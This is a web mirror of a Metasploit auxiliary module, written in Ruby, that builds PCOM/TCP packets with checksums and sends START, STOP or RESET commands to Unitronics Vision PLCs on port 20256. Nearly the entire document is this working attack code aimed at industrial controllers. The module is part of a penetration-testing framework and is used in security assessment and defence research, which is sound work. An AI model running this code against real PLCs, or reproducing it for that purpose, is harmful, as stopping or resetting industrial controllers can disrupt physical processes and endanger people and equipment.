Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/pcom_command.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::Tcp
9
include Rex::Socket::Tcp
10
include Rex::Text
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Unitronics PCOM remote START/STOP/RESET command',
17
'Description' => %q{
18
Unitronics Vision PLCs allow remote administrative functions to control
19
the PLC using authenticated PCOM commands.
20
21
This module supports START, STOP and RESET operations.
22
},
23
'Author' => [
24
'Luis Rosa <lmrosa[at]dei.uc.pt>'
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'URL', 'https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf' ]
29
],
30
'Notes' => {
31
'Stability' => [CRASH_SERVICE_RESTARTS],
32
'SideEffects' => [IOC_IN_LOGS],
33
'Reliability' => []
34
}
35
)
36
)
37
38
register_options(
39
[
40
OptEnum.new('MODE', [true, 'PLC command', 'RESET', ['START', 'STOP', 'RESET']]),
41
Opt::RPORT(20256),
42
OptInt.new('UNITID', [ false, 'Unit ID (0 - 127)', 0]),
43
]
44
)
45
end
46
47
# compute and return the checksum of a PCOM ASCII message
48
def pcom_ascii_checksum(msg)
49
(msg.each_byte.inject(:+) % 256).to_s(16).upcase.rjust(2, '0')
50
end
51
52
# compute pcom length
53
def pcom_ascii_len(pcom_ascii)
54
Rex::Text.hex_to_raw(pcom_ascii.length.to_s(16).rjust(4, '0').unpack('H4H4').reverse.pack('H4H4'))
55
end
56
57
# return a pcom ascii formatted request
58
def pcom_ascii_request(command)
59
unit_id = datastore['UNITID'].to_s(16).rjust(2, '0')
60
# PCOM/ASCII
61
pcom_ascii_payload = '' \
62
"\x2f" + # '/'
63
unit_id +
64
command +
65
pcom_ascii_checksum(unit_id + command) + # checksum
66
"\x0d" # '\r'
67
68
# PCOM/TCP header
69
Rex::Text.rand_text_hex(2) + # transaction id
70
"\x65" + # ascii (101)
71
"\x00" + # reserved
72
pcom_ascii_len(pcom_ascii_payload) + # length
73
pcom_ascii_payload
74
end
75
76
def run
77
connect
78
case datastore['MODE']
79
when 'START'
80
print_status 'Sending START command'
81
ascii_code = "\x43\x43\x52" # CCR
82
when 'STOP'
83
print_status 'Sending STOP command'
84
ascii_code = "\x43\x43\x53" # CCS
85
when 'RESET'
86
print_status 'Sending RESET command'
87
ascii_code = "\x43\x43\x45" # CCE
88
else
89
print_error 'Unknown MODE'
90
return
91
end
92
93
sock.put(pcom_ascii_request(ascii_code))
94
ans = sock.get_once
95
if ans.to_s[10, 2] == 'CC'
96
print_status 'Command accepted'
97
end
98
disconnect
99
end
100
end
101
102